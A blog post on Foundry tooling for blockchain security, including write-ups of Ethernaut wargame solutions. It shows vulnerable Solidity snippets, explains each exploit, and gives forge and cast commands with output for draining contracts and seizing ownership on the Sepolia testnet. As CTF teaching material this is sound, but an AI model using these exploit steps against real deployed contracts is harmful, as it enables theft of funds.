# on hacking systematically with foundry 

By [bt3gl's symposium](https://paragraph.com/@go-outside) · 2023-11-29

---

tl; dr
------

today i go over some systems i’ve created in foundry for solving blockchain security challenges.

i tend to indulge myself with a _pristine_ code organization && logic. in this particular case, i am pretty proud of my methodology for running exploits, tests, and submission scripts ([**you can see it for yourself, for instance, with my solution for ethernaut’s wargames**](https://github.com/go-outside-labs/ethernaut-foundry-detailed-solutions-sol)). in addition, you can also find some experiments in [**this repository**](https://github.com/go-outside-labs/blockchain-science-rs)**.**

* * *

🎶 today’s mood
---------------

[https://open.spotify.com/track/2B3D38o8GaXnZo6DnTyZ2m?si=d7fb579b135944ea](https://open.spotify.com/track/2B3D38o8GaXnZo6DnTyZ2m?si=d7fb579b135944ea)

[https://open.spotify.com/track/0vKVYgC41X7t579rc487OU?si=e844b5239a154b01](https://open.spotify.com/track/0vKVYgC41X7t579rc487OU?si=e844b5239a154b01)

* * *

👾 today’s outline
------------------

    0000. intro to foundry and forge
    0001. comparison of flashloans on ethereum
    0010. historical data on avalanche c-chain
    0011. exploiting fallback()
    0100. exploiting constructor()
    0101. exploiting pseudo-randomness
    0110. exploiting tx.origin
    0111. exploiting integer overflows
    1000. exploiting delegatecall
    1001. exploiting payable contracts
    1010. exploiting private functions
    1011. exploiting transfer(msg.value)
    1100. exploiting reentrancy
    1101. exploiting interfaces
    1110. exploiting interfaces II
    

* * *

0000\. intro to foundry and forge
---------------------------------

[**foundry**](https://github.com/foundry-rs/foundry) is the _de jure_ blockchain dev toolkit written in my favorite language, [**rust**](https://www.rust-lang.org/).

[**paradigm.xyz released it on 12/2021**](https://www.paradigm.xyz/2021/12/introducing-the-foundry-ethereum-development-toolbox), giving engineers and researchers an exit from javascript 👹 tests on [**hardhat**](https://hardhat.org/). with foundry, tests can now be natively written on solidity.

![](https://storage.googleapis.com/papyrus_images/1c9e340b47ed5bdf7c3eec7187bdd8fbc664041464c012a42f656a88ab66abd9.png)

the _go-to_ reference to get started with foundry is its [**open-source docs/book**](https://book.getfoundry.sh/). the [**installation is straightforward,**](https://book.getfoundry.sh/getting-started/installation) as long as you have rust and cargo installed.

foundry’s CLI is called `forge`, which is the main tool we use. foundry also ships with `anvil` ([**a tool to create a local testnet node**](https://book.getfoundry.sh/anvil/)) and `cast` ([**a CLI tool to perform ethereum RPC calls**](https://book.getfoundry.sh/cast/)). these three together allow forking and testing by interacting with contracts on a real network.

most of the time, these are the `forge` commands you use:

*   `forge install/update/remove`, to add/update/remove an external dependency (inside `lib`) using git submodules.
    
*   `forge build`, to build your project (_i.e._, once you have your contracts and tests written).
    
*   `forge test <--match-contract --match-test --watch --fork-url etc.>`, to run the tests you built.
    
*   `forge init <--template>`, to start an empty project or to use another github project as a template.
    

however, `forge` contains several other utilities:

![](https://storage.googleapis.com/papyrus_images/6ac029b288627897bd14e2b4fc52a97d743c08a511e2587287cc3c744db37944.png)

* * *

### a typical foundry project

a project in foundry usually has the following directories:

*   `lib/`: any library installed using `forge install`
    
    *   the `forge` standard library is installed by default here (`lib/forge-std`)
        
    *   by the way, libs can be re-configured with a `remappings.txt` file
        
*   `src/`: where contracts to be tested are
    
*   `test/`: where you add your solidity tests (_e.g.,_ `MyContract.sol`)
    
*   `scripts/`: where you add helpful solidity scripts (_e.g.,_ `MyScript.sol`)
    
*   `out/`: created after tests run, contain contract artifacts (_e.g.,_ ABI)
    
*   `cache/`: created after tests run), present an internal resource so that `forge` don’t need to recompile everything every time
    

in addition, you usually see a config file `foundry.toml` in the root, where you can set the project’s behavior. something like this:

![](https://storage.googleapis.com/papyrus_images/c92af37982f94c028770fd2d9e3c06f2c05d8fd3bb7290760a193553186ba5c0.png)

* * *

### the basic gists of foundry tests

simply put, since tests are written in solidity, they either fail if there is a `revert`, or pass otherwise.

the basic layout of a forge contract test contains:

*   `setUp()`, an optional function run before EACH test case
    
*   `test_*()`, functions with this prefix are used for EACH test function that should pass
    
*   `testFail_*()`, functions with the prefix are used for EACH test function that should fail (_i.e._, it must revert to pass)
    

and they look like this:

![](https://storage.googleapis.com/papyrus_images/5c053b569e973f41b1c742ee9ffa3512536fa20440ceb550b24b13b0c79ade86.png)

note that forge requires test functions to be either `external` or `public`.

* * *

### manipulating the state of the blockchain with cheat-codes

foundry’s [**cheat-codes**](https://book.getfoundry.sh/cheatcodes/) give the ability to alter the EVM state and mock data to a specific network state.

they can be accessed by a `vm` instance, with attributes like the following:

*   `vm.prank(address)`: change `msg.sender` to another address for the next call (_e.g.,_ `address(0)`)
    
*   `vm.expectRevert()`
    
*   `vm.expectEmit()`
    
*   `vm.createFork()`, `vm.selectFork()`, `vm.activeFork()` and [others](https://book.getfoundry.sh/cheatcodes/forking)
    
*   `vm.wrap(block_timestamp`
    
*   `vm.roll(block_number)`
    
*   `vm.free(block_basefee)`
    
*   `vm.prevrandao(block_prevrandao)`
    
*   `vm.chainid(block_chainid)`
    
*   `vm.store(address, slot, value)` and `vm.load(address, slot, value)`
    
*   `vm.deal(who, new_balance)` and `vm.deal(token, to, amount)`
    
*   `vm.recordLogs()` and `vm.getRecordedLogs()`
    
*   `vm.setNonce()` and `vm.getNonce()`
    
*   `vm.mockCall(address, function_selector, calldata)`
    
*   `vm.coinbase(address)`
    
*   `vm.txGasPrice()`
    
*   assertions such as `expectRevert()`, `expectEmit()`, and `expectCall()`
    

for instance, you can override the VM state by simulating older transactions with a certain token balance, a certain block, etc.

* * *

### advanced testing and features

in forge, you can trace failed tests with `-vvv` . subtraces will show each call, return value, and the gas used (inside square brackets):

![](https://storage.googleapis.com/papyrus_images/79cdeda09928eb45b74e700e150742c1c92d899a4812892badffc2f32f6efe43.png)

foundry also supports several property-based testing, which are tests that look at general behaviors as opposed to isolated scenarios:

*   [**fuzzing**](https://book.getfoundry.sh/forge/fuzz-testing): generates different scenarios, random inputs, etc.
    
*   [**invariant testings**](https://book.getfoundry.sh/forge/invariant-testing): through several `runs` and `depths`, this class of testing trials for a set of invariant expressions against randomized sequences of pre-defined function calls from pre-defined contracts.
    
    *   they can expose faulty logic in protocols (_e.g.,_ false assumptions, incorrect logic in edge cases).
        

> **_💎_** [**@horsefacts wrote an awesome guide on invariant tests a few months ago**](https://github.com/horsefacts/weth-invariant-testing)**.**

*   [**differential testing**](https://book.getfoundry.sh/forge/differential-ffi-testing): these tests cross-reference multiple implementations of the same function, by comparing each one’s output.
    

advanced testing suites are a fascinating subject in development and code security, and i would love to spend more time diving into them properly in future posts. for now, here is a [**good reference for learning**](https://www.youtube.com/playlist?list=PLO5VPQH6OWdUrKEWPF07CSuVm3T99DQki).

in addition, [**tracing and logging**](https://book.getfoundry.sh/forge/tests?highlight=tracing#logs-and-traces), and foundry’s [**precompile registry**](https://book.getfoundry.sh/misc/precompile-registry) (special contracts at a fixed address within the EVM) are also in my _infinite_ _want-to-learn list._

* * *

0001\. comparison of flashloans on ethereum
-------------------------------------------

in this project, we leverage foundry to compare flashloans from lending protocols on ethereum, including deployment cost and deployment size. this experiment is adapted from [**@jeiwan's code**](https://github.com/Jeiwan/flash-loans-comparison).

![.protocol fees at the time this project was written, in 2022. ](https://storage.googleapis.com/papyrus_images/fe607807137e570228d49082461b28178740987cdc24e091bf5ecc0909b6102c.png)

.protocol fees at the time this project was written, in 2022.

to run this project:

1.  fork [**my code**](https://github.com/go-outside-labs/blockchain-science-rs/tree/main/foundry-flashloans)
    
2.  install [**foundry**](https://book.getfoundry.sh/getting-started/installation) and a [**solidity compiler**](https://docs.soliditylang.org/en/latest/installing-solidity.html#installing-the-solidity-compiler) (we are using **^0.8.16** in this project)
    
3.  export an `env` variable for an **ethereum RPC URL** (_e.g._, from [**infura's**](https://app.infura.io/dashboard), [**alchemy**](https://www.alchemy.com/), [**ankr's**](https://www.ankr.com/rpc/avalanche/), or **your own node**):
    

    > export RPC_URL=<RPC_URL>
    

* * *

### the code

each lending protocol we are testing has its own contract under `src/`, and they connect together through `src/interface.sol`:

![](https://storage.googleapis.com/papyrus_images/f4cf25f1306500fc00ccb7e6d583d5091fc67d1389cec5fc34c53b4aa73f191f.png)

here is `UniswapV2.sol`:

![](https://storage.googleapis.com/papyrus_images/45e5f8f9132f9c5a7155ce176b647f2e897824757cb3cfa71d106fef96ac781d.png)

here is `UniswapV3.sol`:

![](https://storage.googleapis.com/papyrus_images/7d3131097a234a87a76a27dfbf410899abc11fd8e81ede03215435e5c9b1adc3.png)

here is `Aavev2.sol`:

![](https://storage.googleapis.com/papyrus_images/1429cf056c85ff7d3a1d28b314f315ac3a153f37910e425eb41d3fffeed85511.png)

here is `Balancer.sol`:

![](https://storage.googleapis.com/papyrus_images/f88cc575c36801a4ce016f86dc37554abcd769fa49966f5d182221871cfb1000.png)

here is `Euler.sol`:

![](https://storage.googleapis.com/papyrus_images/fc2f187bbd5ca9f4d1701f2279965523e68bf3241abe63b8d9e7c7b9a0860f72.png)

* * *

### the test file

we are ready for our first foundry test, under `tests/testFlashloan.sol`:

![](https://storage.googleapis.com/papyrus_images/cd579ad435c050baff694222770b6f78674c9c0bfbba698e9149dfabee656672.png)

simply build the contracts and run with:

![](https://storage.googleapis.com/papyrus_images/745a82c4a62c32924bfcab871bcb55cbb4641b67fd1b690b5421c9a717a93787.png)

### pretty awesome ✨.

* * *

0010\. historical data on avalanche c-chain
-------------------------------------------

in this second example, we leverage foundry’s `fork` and `vm` features to analyze EVM-based blockchains. more specifically, we will be inspecting data on the [**avalanche c-chain**](https://subnets.avax.network/c-chain).

this boilerplate may be expanded for several purposes, including testing vulnerabilities or extracting MEV data (_e.g.,_ to simulate sandwich attacks in a defi protocol).

in general, you can fork a blockchain by providing an RPC URL (same as before, [**infura's**](https://app.infura.io/dashboard), [**alchemy**](https://www.alchemy.com/), etc.):

    > forge test --fork-url <RPC URL>
    

here are some cool things you can set:

*   `--fork-block-number`
    
*   `--fork-chainid`
    
*   `--gas-limit`
    
*   `--chain-id`
    
*   `--gas-price`
    
*   `--block-base-fee-per-gas`
    
*   `--block-coinbase`
    
*   `--block-timestamp`
    
*   `--block-number`
    
*   `--block-difficulty`
    
*   `--block-prevrandao`
    
*   `--block-gas-limit`
    
*   `--etherscan-api-key`
    

each fork is a standalone EVM (_i.e.,_ they use entirely independent storage). however, the state of `msg.sender` and the test contract are the same across fork swaps.

in addition, `vm` cheat-codes also allow easy ways to modify the chain state at test runtime (for instance, many of the flags above can be simulated with `vm` as well).

* * *

### the test file

after defining the desired assets and/or protocols to be researched, we can use the following procedure to write the simulation test:

1.  find out the **methods that trigger price updates** (_e.g.,_ `swap()` on GMX’s [**router**](https://github.com/gmx-io/gmx-contracts/blob/master/contracts/core/Router.sol#L88)).
    
2.  add/clone all the contracts needed for the methods above to `contracts/`.
    
3.  use any **blockchain analytics tools** (_e.g.,_ [**dune**](https://dune.com/queries/1243615) or [**avax apis**](https://docs.avax.network/apis/avalanchego/public-api-server)) to search for **past blocks** with the desired feature to be studied (_e.g.,_ by setting a threshold for price movements that could be interesting to look at).
    
4.  create a **list with all the blocks** you find and add them to `data/blocks.txt`.
    

here is what my GMX test looks like:

![](https://storage.googleapis.com/papyrus_images/1fe6045a13e6f93ed23abc6bd7626044fc0ab0029ff06d0384c40227683b1b95.png)

* * *

### running the test

![](https://storage.googleapis.com/papyrus_images/2ac3d640f89e1c0d87fa21718e71b2727417c5103c59b36ee52b40b4d730c680.png)

* * *

0011\. exploiting fallback()
----------------------------

cool, now let’s move to my foundry-open-sourced-code-that- i-am-the-most-proud-of.

for the rest of this post, i will be leveraging (read: solving) ethernaut’s challenges to illustrate hackings and solutions in foundry.

in this first challenge, we have to exploit a flawed `fallback()` function to gain control and drain this contract:

![](https://storage.googleapis.com/papyrus_images/160e251f140f181cba5a4d9e4cf5d151d61b00788317b100c5bdd811d9aa7310.png)

* * *

### discussion

the only way to drain the contract is via `withdraw()`, which can only be called if `msg.sender` is the `owner` (because of the `onlyOwner` modifier).

this function will transfer all the funds in the contract to the `owner`'s' address (note that this function is also vulnerable to reentrancy):

    function withdraw() public onlyOwner {
        owner.transfer(address(this).balance);
    }
    

there are two places in the contract where `owner` is updated with `msg.sender`: `contribute()` and the fallback `receive()`.

the function `contribute()` allows the `msg.sender` to send `wei` to the contract and to be tracked by the `contributions[]` mapping variable.

if the total contribution made by a user is greater than the one by the actual owner, `msg.sender` will become `owner`:

     function contribute() public payable {
        require(msg.value < 0.001 ether);
        contributions[msg.sender] += msg.value;
        if(contributions[msg.sender] > contributions[owner]) {
          owner = msg.sender;
        }
      }
    

however, the contribution made by the user would need to be greater than `1000 eth` (to beat the one made by the owner in the constructor):

     constructor() {
        owner = msg.sender;
        contributions[msg.sender] = 1000 * (1 ether);
      }
    

the fallback function `receive()` is a special function that is called "automatically" when some `ether` is sent to the contract without specifying anything in the `calldata` (_i.e._, calls made with `send()` or `transfer()`).

> 💎 _implementing_ _a fallback function is a good idea if the contract receives_ `ether` f_rom other wallets or contracts, as they are useful for emitting payment events and checking requirements. every smart contract can only have one fallback function._

here, `receive()` requires that `msg.value > 0` (the function call needs to contain some `wei`) and `contributions[msg.sender] > 0` (the caller has to have donated before). if they pass, `owner` becomes `msg.sender`:

    receive() external payable {
        require(msg.value > 0 && contributions[msg.sender] > 0);
        owner = msg.sender;
     }
    

* * *

### solution

check `test/01/Fallback.t.sol`:

![](https://storage.googleapis.com/papyrus_images/8e092c9510e684591301a7346ce36f30fec4bbf12e5bc4474862431348d87314.png)

which can be run with:

    > forge test --match-contract FallbackTest -vvvv    
    
    Running 1 test for test/01/Fallback.t.sol:FallbackTest
    (...)
    
    Traces:
    (...)
    

and submitted with `script/01/Fallback.s.sol`:

![](https://storage.googleapis.com/papyrus_images/a17cdc2ba0fbbdeaeb144c248ca629e9097be9d327e73530a20d579edd85dec8.png)

by running:

    > forge script ./script/01/Fallback.s.sol \ 
                        --broadcast -vvvv \ 
                        --rpc-url sepolia
    
    Traces:
    (...)
    ==========================
    Simulated On-chain Traces:
    (...)
    ==========================
    
    Chain 11155111
    Estimated gas price: 3.645290764 gwei
    Estimated total gas used for script: 119376
    Estimated amount required: 0.000435160230243264 ETH
    
    ==========================
    
    ### Finding wallets for all the necessary addresses...
    ## Sending transactions [0 - 2].
    
    ## Waiting for receipts.
    
    ##### sepolia
    ✅  [Success]Hash: 0xd47b8ce14de27a974032f323d42f3cb2eae5ab09d2784458353aec217f58f36e
    Block: 4092414
    (...)
    Paid: 0.00010032099827742 ETH (30364 gas * 3.303945405 gwei)
    
    ==========================
    ONCHAIN EXECUTION COMPLETE & SUCCESSFUL.
    Total Paid: 0.000279946598111055 ETH (84731 gas * avg 3.303945405 gwei)
    

### pwned...

* * *

### 3-lines solution with `cast`

alternatively, this problem could be solved without much code, by leveraging `cast`.

first, call `contribute()` with some `wei` so that `contributions[msg.sender] > 0`:

    > cast send <instance contract> "contribute()" \ 
                      --value `1wei` --private-key=<your private key> \ 
                      --rpc-url=<rpc endpoint to sepolia>
    
    blockHash               0xb691cea544164091a2353aebeb15feede86763298d6136b3231923b36b715b4f
    blockNumber             4077851
    contractAddress
    cumulativeGasUsed       3800590
    effectiveGasPrice       3216660017
    gasUsed                 47965
    logs                    []
    logsBloom               0x00...00
    

become `owner` when triggering `receive()` by sending `1 wei` to the contract with an empty data field (i.e., empty `msg.data`):

    > cast send <instance contract> \ 
                    --value 1wei 
                    --private-key=<your private key> \ 
                    --rpc-url=<rpc endpoint to sepolia>
    
    blockHash               0x1bf1ee70a9a9b3d919f93bdfd2f7f1c03325caefbd20522d5b1162c781c8a50c
    blockNumber             4077853
    contractAddress
    cumulativeGasUsed       28302
    effectiveGasPrice       3183243793
    gasUsed                 28302
    logs                    []
    logsBloom               0x000...0
    root
    status                  1
    transactionHash         0xa6c2fdecf316c8a57116c89aaee7fb5e3596ddc55f6e4e3bbc812802865c6f77
    transactionIndex        0
    type                    2
    

call `withdraw()` to drain the contract.

    > cast send <instance contract> "withdraw()" \ 
                  --private-key=<your private key> \ 
                  --rpc-url=<rpc endpoint to sepolia>
    
    blockHash               0x8ffea8d58449e5f9f2a15d264c851defe4b97ed724a3bf681196390ac8c09bd5
    blockNumber             4077855
    contractAddress
    cumulativeGasUsed       1898453
    effectiveGasPrice       3200792076
    gasUsed                 30364
    logs                    []
    logsBloom               0x00000...00000
    root
    status                  1
    transactionHash         0xd18e25cee0ba55165f0fbed21d9dad6ff227f9c6897fd9178818bf1611064eb0
    transactionIndex        2
    type                    2
    

* * *

0100\. exploiting constructor()
-------------------------------

in this challenge, the contract's constructor function is misspelled, causing the contract to call an empty constructor. we explore this vulnerability to become `owner`:

![](https://storage.googleapis.com/papyrus_images/656d2e469a06b2cf88c110a836c64a1ccd7290ac3c2d1c965a9d2e5d2a0560f9.png)

an example of this vulnerability exploited irl was when [**a company called dynamic piramid changed its name to rubixi**](https://blog.ethereum.org/2016/06/19/thinking-smart-contract-security) but forgot to change its contract's constructor and ended up hacked.

* * *

### discussion

a constructor initializes the contract and the data within it.

when a constructor has a different name from the contract, it becomes a regular method with a default `public` visibility (_i.e._, they are part of the contract's interface and can be callable by anyone).

this is the vulnerability we exploit:

      function Fal1out() public payable {
        owner = msg.sender;
        allocations[owner] = msg.value;
      }
    

> 💎 _fun fact: before solidity_ `0.4.22`, _defining a function with the same name as the contract was the only way to define its constructor. after that version, the_ `constructor` _keyword was introduced._

* * *

### solution

i had to change the original contract a little to compile with foundry (_e.g._, adding a couple of `payable` casting and removing `SafeMath` as it's not needed for `>= 0.8.0`).

`test/02/Fallout.t.sol` is super simple:

![](https://storage.googleapis.com/papyrus_images/907cf60e50c85fe1d2a2243fb231983dc9a9b4fdb128512f186e4b00a1f18aa6.png)

run with:

    > forge test --match-contract FalloutTest -vvvv    
    
    Running 1 test for test/02/Fallout.t.sol:FalloutTest
    [PASS] testFallbackHack() (gas: 35036)
    Traces:
      [35036] FalloutTest::testFallbackHack() 
        ├─ [0] VM::startPrank(0x2B5AD5c4795c026514f8317c7a215E218DcCD6cF) 
        │   └─ ← ()
        ├─ [24507] Fallout::Fal1out() 
        │   └─ ← ()
        ├─ [0] VM::stopPrank() 
        │   └─ ← ()
        └─ ← ()
    
    Test result: ok. 1 passed; 0 failed; 0 skipped; finished in 514.50µs
    Ran 1 test suites: 1 tests passed, 0 failed, 0 skipped (1 total tests)
    

then, a solution can be submitted with `script/02/Fallout.s.sol`:

![](https://storage.googleapis.com/papyrus_images/74c47c179d6de6bc489d5b828d3708ab47f124ee7d3cce2c262c05a0261867fb.png)

by running:

    > forge script ./script/02/Fallout.s.sol \ 
                  --broadcast -vvvv \ 
                  --rpc-url sepolia
    
    [⠢] Compiling...
    [⠃] Compiling 1 files with 0.8.21
    [⠊] Solc 0.8.21 finished in 619.82ms
    Compiler run successful!
    Traces:
    (...)
    
    Script ran successfully.
    
    ## Setting up (1) EVMs.
    ==========================
    Simulated On-chain Traces:
    (...)
    ==========================
    
    Chain 11155111
    Estimated gas price: 3.397321144 gwei
    Estimated total gas used for script: 62992
    Estimated amount required: 0.000214004053502848 ETH
    
    ==========================
    
    ### Finding wallets for all the necessary addresses...
    ## Sending transactions [0 - 0].
    ⠁ [00:00:00] [###################] 1/1 txes (0.0s)
    ## Waiting for receipts.
    ⠉ [00:00:12] [#####################################] 1/1 receipts (0.0s)
    ##### sepolia
    ✅  [Success]Hash: 0x398c258730c922336d269c8ee892f215573cc0ebce34605bb655c171b7fbe374
    Block: 4097312
    Paid: 0.00014700180794244 ETH (45606 gas * 3.22329974 gwei)
    
    ==========================
    ONCHAIN EXECUTION COMPLETE & SUCCESSFUL.
    Total Paid: 0.00014700180794244 ETH (45606 gas * avg 3.22329974 gwei)
    

### pwned...

* * *

0101\. exploiting pseudo-randomness
-----------------------------------

in this challenge, we exploit the determinism of a pseudo-random function composed uniquely of an EVM global accessible variable (`blockhash`) and no added entropy.

this is the vulnerable contract:

![](https://storage.googleapis.com/papyrus_images/7375f7136480fdf9ae2a169a29065e7c83124bf8e4788ce748ceda77bff8b704.png)

* * *

### discussion

the EVM is a deterministic turing machine.

since it has no inherent randomness and as everything in the contracts is publicly visible (_e.g._, `block.timestamp`, `block.number`), generating random numbers in solidity is non-trivial.

projects resource to external oracles or to ethereum validator's [**RANDAO**](https://github.com/randao/randao) algorithm.

the `CoinFlip` contract uses the current block's `blockhash` to determine the side of a coin, represented by a `bool` variable named `coinFlip`:

    uint256 coinFlip = blockValue / FACTOR;
    bool side = coinFlip == 1 ? true : false;
    

which is derived from the variable `blockValue` as a `uint256` generated from the previous block number (block's number minus 1):

    uint256 blockValue = uint256(blockhash(block.number - 1));
    

this `FACTOR` variable is useless:

*   first, division by a large constant does not introduce any randomness entropy at all.
    
*   second, even if this constant is private, it's still available at etherscan or by decompiling the bytecode (if the contract is not verified).
    

    uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;
    

finally, the "randomness" in this contract is calculated from on-chain deterministic data, so all we need to do is simulate `side` before we submit a guess, and repeat this ten times.

    if (side == _guess) {
        consecutiveWins++;
        return true;
    } else {
        consecutiveWins = 0;
        return false;
    }
    

for this simulation, we leverage [**foundry's**](https://book.getfoundry.sh/cheatcodes/roll?highlight=vm.roll#examples) `vm.roll(uint256)`, which simulates the `block.number` given by the `uint256`.

* * *

### solution

our exploit is located at `src/03/CoinFlipExploit.sol`:

![](https://storage.googleapis.com/papyrus_images/e073f3f8b713de3d6a0171ab2d732452a9490ff61a8f2e2f55dd3bd326c45c0c.png)

which can be tested with `test/03/CoinFlip.t.sol`:

![](https://storage.googleapis.com/papyrus_images/8a633d5ccef32fc71808ba77ea050b5cb89554585a5480fa295d8dfbea80ca49.png)

running with:

    > forge test --match-contract CoinFlipTest -vvvv
    
    Running 1 test for test/03/CoinFlip.t.sol:CoinFlipTest
    [PASS] testCoinFlipHack() (gas: 247316)
    Test result: ok. 1 passed; 0 failed; 0 skipped; finished in 670.88µs
    Ran 1 test suites: 1 tests passed, 0 failed, 0 skipped (1 total tests)
    

to submit the solution, we run `script/03/CoinFlip.s.sol`:

![](https://storage.googleapis.com/papyrus_images/1f14024e912362698051f8dee93be003f0ac62e53e1fb87d777707e1853b3d15.png)

with:

    > forge script ./script/03/CoinFlip.s.sol \ 
                  --broadcast -vvvv \ 
                  --rpc-url sepolia
    
    [⠰] Compiling...
    No files changed, compilation skipped
    Traces:
    (...)
    
    Script ran successfully.
    
    == Logs ==
      10
    
    ## Setting up (1) EVMs.
    ==========================
    Simulated On-chain Traces:
    (...)
    
    ==========================
    
    Chain 11155111
    Estimated gas price: 3.00000004 gwei
    Estimated total gas used for script: 587395
    Estimated amount required: 0.0017621850234958 ETH
    
    ==========================
    
    ## Waiting for receipts.
    ⠄ [00:00:13] [###########################################] 11/11 receipts (0.0s)
    ##### sepolia
    ✅  [Success]Hash: 0x974e6b9a856aa81b641d4e1a5b18644b383c92feb6781edb2bd23ef19b0b8a7f
    Contract Address: 0x677cB6C1682E2Fa2715B637190167FAc419a4a88
    Block: 4230872
    Paid: 0.000479472003835776 ETH (159824 gas * 3.000000024 gwei)
    
    (...)
    
    ==========================
    
    ONCHAIN EXECUTION COMPLETE & SUCCESSFUL.
    Total Paid: 0.001304178010433424 ETH (434726 gas * avg 3.000000024 gwei)
    

### pwned...

* * *

0110\. exploiting tx.origin
---------------------------

in this challenge, we exploit the difference between solidity's global variables `tx.origin` and `msg.sender` to to _phish_ with `tx.origin` and become `owner`.

`tx.origin` refers to the EOA that initiated the transaction (which can be many calls ago in the stack, and never be a contract), while `msg.sender` is the immediate caller (and can be a contract).

`tx.origin` is [**known for being generally vulnerable**](https://blog.sigmaprime.io/solidity-security.html#tx-origin), and its use should be restricted to specific cases, such as denying external contracts from calling the current contract (for instance, with a `require(tx.origin == msg.sender)`).

> 💎 \*fun fact, this type of vulnerability resembles web2's **cross-site request forgery (csrf)**. exactly a decade ago, when i was getting started in security research and csrf was still heavily in the wild, [**i wrote a modification of apache's**](https://github.com/go-outside-labs/csrf)\* `mod_security` to monitor for it. it's wild how the world has changed in a decade…

![](https://storage.googleapis.com/papyrus_images/cff4ea8230024ce80b423a5303b01623c6a066fdb1e8cbab6c3c79841c833aa1.png)

* * *

### discussion

`Telephone()` contract is pretty simple. first, it declares a **state variable** called `owner` (state variables have values permanently stored in a contract storage):

    address public owner;
    

then we have a constructor that defines that the EOA who deploys this contract is its `owner`:

    constructor() {
        owner = msg.sender;
    }
    

finally, we have a function to change the owner, which checks if the caller is not the owner to give the ownership. this function is our target, and to exploit it, we need to make sure that `tx.origin` and `msg.sender` are not the same:

    function changeOwner(address _owner) public {
        if (tx.origin != msg.sender) {
          owner = _owner;
        }
    }
    

this can be done by creating an intermediary contract that makes a call to `Telephone()`.

this is our exploit:

![](https://storage.googleapis.com/papyrus_images/87ef20ccad232ad85301ba921b6451302a7ebb4901bc4957537ee202d79e4414.png)

* * *

### solution

first, we test our solution at `test/04/Telephone.t.sol`:

![](https://storage.googleapis.com/papyrus_images/273a2e99762328afd08769e283f710e531bf0d2cf77e882a2dabe0a3d28db81c.png)

by running:

    > forge test --match-contract TelephoneTest -vvvv    
    

once it passes, we submit the exploit with `script/04/Telephone.s.sol`:

![](https://storage.googleapis.com/papyrus_images/720309ca89b6132cafdbdc10a6a7a31f86e0ba0196d33022a939093d418e6fe7.png)

by running:

    > forge script ./script/04/Telephone.s.sol \ 
                    --broadcast -vvvv \ 
                    --rpc-url sepolia
    

* * *

### alternative solution with `cast`

instead of relying on our deploying script, a second option is deploying the contract directly with:

    > forge create src/04/TelephoneExploit.sol:TelephoneExploit \ 
                  --constructor-args <level address> \ 
                  --private-key=<private-key> \ 
                  --rpc-url=<sepolia url> 
    

note that we would have to slightly modify our exploit to create an instance of `Telephone` instead of receiving it as an argument (with `level`).

something like this:

![](https://storage.googleapis.com/papyrus_images/9aac505ad3a24d9aa1561f0dd25e6b2b6c64de9b1faacd969eb7e6d83bf6f99d.png)

to call the exploit, we run:

    > cast send <deployed address> "changeOwner()" \ 
                        --private-key=<private-key> \ 
                        --rpc-url=<sepolia url> 
    

### pwned...

* * *

0111\. exploiting integer overflows
-----------------------------------

in this challenge, we explore a classic vulnerability in both web2 and web3 security: **integer overflows**.

this is the vulnerable contract:

![](https://storage.googleapis.com/papyrus_images/45997314a506725fc6417e3999f403bfb28eb63cbabc1ac65941baae13942f2c.png)

* * *

### discussion

programming languages that are not memory-managed can have their integer variables overflown if assigned to values larger than the variables' capacity limit.

we will use this trick to overflow a `uint` and bypass the `require()` check of `Token()`'s `transfer()` function:

    function transfer(address _to, uint _value) public returns (bool) {
        require(balances[msg.sender] - _value >= 0);
        balances[msg.sender] -= _value;
        balances[_to] += _value;
        return true;
    }
    

whenever we add `1` to a variable's maximum value, the value wraps around and decreases.

for example, an (unsigned) `uint8`, has the maximum value of `2^8 - 1 = 255`. if we add `1` to it, it becomes `0`. same as `2^256 - 1 + 1`.

symmetrically, if we subtract a value larger than what the variable holds, the result wraps around from the other side, increasing the variable's value. this is our exploit.

if we pass a `_value` to `transfer()` that is larger than `20`, for instance `1`, `balances[msg.sender] - _value` results on `uint256(-1)`, which is equal to a very large number, `2^256 – 1`.

[**in solidity, this type of integer overflow used to be a vulnerability until version**](https://solidity-by-example.org/hacks/overflow/) `0.8.0`.

this is why contracts were advised to use [**OpenZeppelin'**](https://docs.openzeppelin.com/contracts/4.x/utilities#math) `SafeMath.sol` whenever they performed integer operations. in newer versions, if the code is not performing these operations, we can use `unchecked` to save gas.

* * *

### solution

since this challenge is so easy, we skip tests and go directly to the submission script, `script/05/Token.s.sol`:

![](https://storage.googleapis.com/papyrus_images/ca84f77523753cfd8d063edc3cce6cfee2710d37ef9a72673c3e4fb6a0b33c0a.png)

running with:

    > forge script ./script/05/Token.s.sol --broadcast -vvvv --rpc-url sepolia
    

### pwned...

* * *

1000\. exploiting delegatecall
------------------------------

in this challenge, we become `owner` by leveraging an attack surface generated from implementing the low-level function `delegatecall` (from opcode `DELEGATECALL`).

exploitation of `delegatecall()` has been in several hacks in the wild, for example [**the parity multisig wallet hack, in 2017**](https://blog.openzeppelin.com/on-the-parity-wallet-multisig-hack-405a8c12e8f7).

this is the vulnerable contract:

![](https://storage.googleapis.com/papyrus_images/8025f83219f5448d468a8f8fd3983d4b7f4d2810b7bf5b4205c49630224d9f39.png)

* * *

### discussion

`CALL` and `DELEGATECALL` opcodes allow ethereum developers to modularize their code.

standard external message calls are handled by `CALL` (code is run in the context of the external contract/function).

`DELEGATECALL` is almost identical, except that the code executed at the targeted address is run in the context of the calling contract (useful when writing libraries and for proxy patterns).

when a contract executes `DELEGATECALL` to another contract, this contract is executed with the original contract `msg.sender`, `msg.value`, and storage (in particular, the contract's storage can be changed).

finally, the function `delegatecall()` is a way to [**make these external calls to other contracts**](https://solidity-by-example.org/delegatecall/).

in this problem, we are provided with two contracts. `Delegate()` is the parent contract, which we want to become `owner` of. conveniently, the function `pwn()` is very explicit on being our target:

![](https://storage.googleapis.com/papyrus_images/6aa8024b62342b722ae3a4c102158d6952316a6552a0fa7485ce8804facaff66.png)

now, note that the variable `owner` is in the first slot of both contracts.

ordering of variable slots (and their mismatches) are what `DELEGATECALL` exploits in the wild usually explore.

this is important because we are dealing with opcodes, as every variable has a specific slot and should match in both the origin and destination contracts.

in our case, we when trigger the fallback in `Delegate()` to generate a delegate call to run `pwn()` in `Delegation()`, the `owner` variable (which is at `slot0` of both contracts) updates `Delegation()`'s storage `slot0`.

the second contract, which we have access, is `Delegation()`, comes with has another convenience: a `delegatecall()` in the `fallback` function.

this fallback function is simply forwarding everything to `Delegate()`:

![](https://storage.googleapis.com/papyrus_images/d56870f52f024d09dd7a6b243ae535de8eab9e9c7ccec73892e1121fa95003c8.png)

